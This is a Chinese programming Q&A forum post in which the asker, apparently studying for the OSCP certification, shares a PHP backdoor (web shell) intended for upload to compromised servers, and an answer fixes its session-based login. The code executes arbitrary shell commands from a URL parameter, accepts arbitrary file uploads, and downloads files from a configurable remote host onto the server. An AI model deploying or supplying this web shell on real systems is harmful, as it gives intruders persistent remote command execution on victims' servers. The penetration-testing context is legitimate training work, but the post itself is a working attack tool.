为了账号安全,请及时绑定邮箱和手机立即绑定

将 PHP 脚本和 html 呈现在一个函数/视图中

将 PHP 脚本和 html 呈现在一个函数/视图中

PHP
小怪兽爱吃肉 2021-06-29 09:19:28
我有一个 PHP 脚本,我正在开发它作为后门,在渗透测试中上传到受感染的服务器/应用程序 - 作为 PWK/OSCP 的一部分。因此使用了不安全的功能。我正在尝试实施一些基本的身份验证,以确保只有授权用户才能找到并使用后门。我遇到的问题是,一旦用户登录,当执行命令或上传时,脚本会返回到login()函数中,而不是呈现例如ls或任何其他系统命令的结果。我尝试displayForm()从内部调用,但出现内存异常。如何更改现有脚本,以便显示命令输出并为后续命令准备好表单?出于此调试的目的,user:password 已设置为 1:1,因为脚本不允许使用空白密码。我不熟悉 PHP,所以请原谅任何明显写得不好的代码!<?php    $_SESSION['valid'] = false;    login();    function displayForm() {        if (!$_SESSION['valid']) {            login();        }        $output = ""; # Leave this blank        $host = "127.0.0.1"; # host to fetch files from if not a local upload        $port = "9001";         if (isset($_FILES['fileToUpload'])) {            $output = "";            $fileName = basename($_FILES["fileToUpload"]["name"]);            $file_tmp =$_FILES['fileToUpload']['tmp_name'];            move_uploaded_file($file_tmp, $fileName);        }        if (isset($_POST['remoteFile'])) {            $output = "";      file_put_contents($_POST['remoteFile'], file_get_contents("http://$host:$port/" . $_POST['remoteFile']));    }    if (isset($_GET['cmd'])) {      $output .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";        }        echo <<<HTML            <html>                <body>                    <form action="" method="POST" enctype="multipart/form-data">                        <input type="hidden" name="MAX_FILE_SIZE" value="1000000">                        <p> Local Upload: <input type="file" name="fileToUpload">                        <input type="submit" name="upload">                    </form>                    <br>                    <form action="" method="POST" enctype="multipart/form-data">                        <p> Fetch From Remote: <input type="text" name="remoteFile">                        <input type="submit" name="fetch">                    </form>                    <br>
查看完整描述

1 回答

?
森林海

TA贡献2011条经验 获得超2个赞

所以问题出在第 2 行和第 3 行。当您通过登录表单“登录”时,您正在设置 Session 变量并displayForm()在同一请求中运行。但是当您提交下一个表单时,整个页面会重新加载,因此 php 从上到下再次运行整个脚本。php 仅在单个请求中工作。所以这就是为什么你需要会话。要解决您的问题,您必须修改第 2-3 行并首先检查会话值是否已设置。您可以使用简单的if条件来做到这一点:


<?php

if (!array_key_exists('valid', $_SESSION) || $_SESSION['valid'] !== true) {

  login();

} else {

  displayForm();

}


查看完整回答
反对 回复 2021-07-09
  • 1 回答
  • 0 关注
  • 140 浏览

添加回答

举报

0/150
提交
取消
意见反馈 帮助中心 APP下载
官方微信